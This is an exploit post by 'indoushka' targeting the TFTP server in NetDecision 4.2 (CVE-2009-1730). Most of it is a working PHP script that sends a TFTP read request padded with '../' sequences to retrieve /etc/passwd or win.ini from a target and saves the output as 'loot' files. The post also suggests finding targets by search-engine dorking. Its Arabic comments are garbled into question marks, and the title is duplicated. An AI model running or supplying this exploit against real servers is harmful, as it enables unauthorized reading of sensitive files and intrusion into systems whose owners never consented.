=============================================================================================================================================
| # Title : TFTP Server =============================================================================================================================================
| # Title : TFTP Server NetDecision 4.2 Directory Traversal vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://netdecision.software.informer.com/ |
=============================================================================================================================================

POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] Code Description: Directory Traversal vulnerability in NetDecision 4.2's TFTP service to read sensitive files from targeted server.

(Related : https://packetstorm.news/files/id/180940/ Linked CVE numbers: CVE-2009-1730 ) .

[+] save code as poc.php.

[+] Set taget : Line 75.

[+] USage : php poc.php

[+] PayLoad :


<?php
function tftp_request($ip, $port, $os, $depth = 10) {
$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
if (!$socket) {
die(" ??? ?? ????? ??????: " . socket_strerror(socket_last_error()) . "\n");
}

// ?????? ????? ??????? ??? ???? ???????
$files = [
'windows' => 'windows/win.ini',
'linux' => 'etc/passwd',
'unix' => 'etc/passwd',
'macos' => 'etc/passwd'
];

if (!isset($files[$os])) {
die(" ???? ??????? ??? ?????!\n");
}

$file_path = str_repeat("../", $depth) . $files[$os];
$packet = "\x00\x01" . $file_path . "\x00octet\x00"; // ??? ????? ????? (RRQ)

// ????? ????? ??? ??????
socket_sendto($socket, $packet, strlen($packet), 0, $ip, $port);

$file_data = "";
while (true) {
$buffer = "";
$from = "";
$port = 0;
$bytes_received = socket_recvfrom($socket, $buffer, 65535, 0, $from, $port);

if ($bytes_received === false) {
echo " ??? ?? ??????? ???????? ?? $ip\n";
break;
}

$opcode = unpack("n", substr($buffer, 0, 2))[1];
$block = unpack("n", substr($buffer, 2, 2))[1];
$data = substr($buffer, 4);

if ($opcode !== 3) { // ??? ?? ??? ???? ?????? (DATA)
echo " ??? ????? ??????? ????? $file_path ?? $ip\n";
break;
}

$file_data .= $data;

// ????? ACK ??????
$ack_packet = "\x00\x04" . pack("n", $block);
socket_sendto($socket, $ack_packet, strlen($ack_packet), 0, $ip, $port);

// ??? ???? ?????? ??????? ??? ?? 512 ????? ?????? ????? ?????
if (strlen($data) < 512) {
break;
}
}

socket_close($socket);

if (!empty($file_data)) {
echo " ?? ??????? ????? ?????!\n";
$save_path = "loot_" . $os . "_" . basename($files[$os]);
file_put_contents($save_path, $file_data);
echo " ????? ????? ????: $save_path\n";
} else {
echo " ?? ??? ?????? ??? ?? ??????.\n";
}
}

// ==============================
// ??????? ?????? ???????? ????? ??????
// ==============================

$target_ip = "192.168.1.100"; // ?????? ?????? IP ?????? ????????
$tftp_port = 69; // ?????? ????????? ?? TFTP
$target_os = "linux"; // ????: windows, linux, unix, macos
$depth = 10; // ??? ??????? ????? ??????

tftp_request($target_ip, $tftp_port, $target_os, $depth);
?>


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================